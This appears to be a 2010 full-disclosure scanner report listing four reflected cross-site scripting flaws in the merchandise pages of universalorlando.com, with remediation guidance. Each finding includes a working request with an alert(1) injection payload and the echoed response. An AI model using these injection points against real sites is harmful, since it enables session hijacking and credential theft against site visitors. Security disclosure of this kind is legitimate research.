Current Research | Full Disclosure | As of March 14, 2011
Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by XSS.CX at Sun Nov 21 16:56:48 CST 2010.
Cross Site Scripting Reports | Hoyt LLC Research
1. Cross-site scripting (reflected)
1.1. http://www.universalorlando.com/merchandise/HPCategoryList.aspx [categoryName parameter]
1.2. http://www.universalorlando.com/merchandise/HPProductDetail.aspx [CategoryName parameter]
1.3. http://www.universalorlando.com/merchandise/HPProductDetail.aspx [CategoryName parameter]
1.4. http://www.universalorlando.com/merchandise/HPProductList.aspx [CategoryName parameter]
1. Cross-site scripting (reflected)
There are 4 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.universalorlando.com/merchandise/HPCategoryList.aspx [categoryName parameter]
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Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.universalorlando.com |
| Path: |
/merchandise/HPCategoryList.aspx |
Issue detail
The value of the categoryName request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e7923"%3balert(1)//adb25866d07 was submitted in the categoryName parameter. This input was echoed as e7923";alert(1)//adb25866d07 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /merchandise/HPCategoryList.aspx?parentCategory=harrypotter%28merchandisebasecatalog%29&categoryName=harrypotter%28merchandisebasecatalog%29e7923"%3balert(1)//adb25866d07 HTTP/1.1
Host: www.universalorlando.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response
HTTP/1.1 200 OK
X-Cnection: close
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Sun, 21 Nov 2010 21:35:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ASP.NET_SessionId=yjnoeh550s4sww3j3nbxd2vf; path=/; HttpOnly
Set-Cookie: Click2Click=USER_ID=50864001; expires=Sun, 22-Nov-2015 02:39:18 GMT; path=/
Set-Cookie: encrypted_store_cookie=pv54ayyvfhA5AnfRZw4zqNqjmR7/cLr2UB6R0pPvDyVTtZSFL7gKp7dFBB8BNBkpmYmUly8lVGkpqvw=; expires=Tue, 23-Nov-2010 21:35:29 GMT; path=/
Content-Length: 93335
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!--[if lt IE 7]>
<li
...[SNIP]...
y Landing";
s.channel="OLS";
s.prop2="Sales";
s.prop3="Merchandise";
s.prop4="";
s.prop5="";
s.prop6="";
s.prop7="";
s.prop10=s.channel;
s.prop11="Resort Wide";
s.prop12="harrypottere7923";alert(1)//adb25866d07 ";
s.prop13="Sell Products";
s.prop14="Product Selection";
s.prop31="";
s.prop32="";
s.prop33="";
s.prop38="";
s.eVar1=s.prop1;
s.eVar3=s.prop16;
s.eVar8=s.channel;
s.eVar11=s.prop21
...[SNIP]...
|
1.2. http://www.universalorlando.com/merchandise/HPProductDetail.aspx [CategoryName parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.universalorlando.com |
| Path: |
/merchandise/HPProductDetail.aspx |
Issue detail
The value of the CategoryName request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 7cea5%3balert(1)//254af69b79b was submitted in the CategoryName parameter. This input was echoed as 7cea5;alert(1)//254af69b79b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /merchandise/HPProductDetail.aspx?ProductId=39366a9a-28f4-4381-a53a-d97d68261639%28MerchandiseBaseCatalog%29&parentCategory=harrypotter%28merchandisebasecatalog%29&CategoryName=HarryPotter|Zonko|Zonko%27s%28MerchandiseBaseCatalog%297cea5%3balert(1)//254af69b79b HTTP/1.1
Host: www.universalorlando.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response
HTTP/1.1 200 OK
X-Cnection: close
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 134208
Date: Sun, 21 Nov 2010 21:35:42 GMT
Connection: close
Set-Cookie: ASP.NET_SessionId=ypru0jexosnezleaqjrfp2qr; path=/; HttpOnly
Set-Cookie: Click2Click=USER_ID=50864069; expires=Sun, 22-Nov-2015 02:39:31 GMT; path=/
Set-Cookie: encrypted_store_cookie=Ie5KL6k6H4mS85GfpS9JgSmgkXrnwJ3HBgLSN3S4ikuc7REMftxSYbDRDXONEWXKCKcO9/fn1N58ifI=; expires=Tue, 23-Nov-2010 21:35:42 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1">
<!--[if lt
...[SNIP]...
s.prop12='harrypotter';
s.prop13='Sell Products';
s.prop14='Product Selection';
s.prop21='Merchandise';
s.prop22='Authentic Sneakoscope Reproduction';
s.prop31='zonko';
s.prop32='zonko's7cea5;alert(1)//254af69b79b';
s.prop33='';
s.prop38='';
s.eVar1=s.prop1;
s.eVar3=s.prop16;
s.eVar8=s.channel;
s.eVar11=s.prop21;
s.eVar12=s.prop22;
s.eVar13=s.prop31;
s.eVar14=s.prop32;
s.eVar15=s.prop33;
s
...[SNIP]...
|
1.3. http://www.universalorlando.com/merchandise/HPProductDetail.aspx [CategoryName parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.universalorlando.com |
| Path: |
/merchandise/HPProductDetail.aspx |
Issue detail
The value of the CategoryName request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cd2b4'%3balert(1)//3baada0924e was submitted in the CategoryName parameter. This input was echoed as cd2b4';alert(1)//3baada0924e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /merchandise/HPProductDetail.aspx?ProductId=39366a9a-28f4-4381-a53a-d97d68261639%28MerchandiseBaseCatalog%29&parentCategory=harrypotter%28merchandisebasecatalog%29&CategoryName=cd2b4'%3balert(1)//3baada0924e HTTP/1.1
Host: www.universalorlando.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response
HTTP/1.1 200 OK
X-Cnection: close
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Sun, 21 Nov 2010 21:35:41 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ASP.NET_SessionId=4uhshg451udzphvb4iy11eug; path=/; HttpOnly
Set-Cookie: Click2Click=USER_ID=50864064; expires=Sun, 22-Nov-2015 02:39:30 GMT; path=/
Set-Cookie: encrypted_store_cookie=ZS6pitvZzwMRDMafpS9JgSmgkXrnwKj+dmMA3AZXo6D2aw1WisjfAdUE7mYJNc0NFVx2GeQ6/NyK0/4=; expires=Tue, 23-Nov-2010 21:35:41 GMT; path=/
Content-Length: 134012
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1">
<!--[if lt
...[SNIP]...
me='Product Details';
s.channel='OLS';
s.prop2='Sales';
s.prop3='Merchandise';
s.prop4='';
s.prop5='';
s.prop6='';
s.prop7='';
s.prop10=s.channel;
s.prop11='Resort Wide';
s.prop12='cd2b4';alert(1)//3baada0924e';
s.prop13='Sell Products';
s.prop14='Product Selection';
s.prop21='Merchandise';
s.prop22='Authentic Sneakoscope Reproduction';
s.prop31='';
s.prop32='';
s.prop33='';
s.prop38='';
s
...[SNIP]...
|
1.4. http://www.universalorlando.com/merchandise/HPProductList.aspx [CategoryName parameter]
previous
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://www.universalorlando.com |
| Path: |
/merchandise/HPProductList.aspx |
Issue detail
The value of the CategoryName request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b951f"%3balert(1)//2f8badf28b8 was submitted in the CategoryName parameter. This input was echoed as b951f";alert(1)//2f8badf28b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /merchandise/HPProductList.aspx?CategoryName=HarryPotter|Ollivanders|Collectibles%28MerchandiseBaseCatalog%29b951f"%3balert(1)//2f8badf28b8&parentCategory=harrypotter%28merchandisebasecatalog%29 HTTP/1.1
Host: www.universalorlando.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
|
Response
HTTP/1.1 200 OK
X-Cnection: close
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Sun, 21 Nov 2010 21:35:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ASP.NET_SessionId=ntscke55sd5kr4iphkqwuj55; path=/; HttpOnly
Set-Cookie: Click2Click=USER_ID=50864043; expires=Sun, 22-Nov-2015 02:39:26 GMT; path=/
Set-Cookie: encrypted_store_cookie=VRELtdJL2M2wlYWfpS9JgSmgkXrnwHQeoOiH4wr3MKz7OhSFO1s7YPqdecjviLsi/izRO3CaUwi+1hk=; expires=Tue, 23-Nov-2010 21:35:37 GMT; path=/
Content-Length: 96009
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!--[if lt IE 7]>
<li
...[SNIP]...
.prop6="";
s.prop7="";
s.prop10=s.channel;
s.prop11="Resort Wide";
s.prop12="harrypotter";
s.prop13="Sell Products";
s.prop14="Product Selection";
s.prop31="ollivanders";
s.prop32="collectiblesb951f";alert(1)//2f8badf28b8";
s.prop33="";
s.prop38="";
s.eVar1=s.prop1;
s.eVar3=s.prop16;
s.eVar8=s.channel;
s.eVar11=s.prop21;
s.eVar12=s.prop22;
s.eVar13=s.prop31;
s.eVar14=s.prop32;
s.eVar15=s.prop33;
s.eVar17=s.p
...[SNIP]...
|
Report generated by XSS.CX at Sun Nov 21 16:56:48 CST 2010.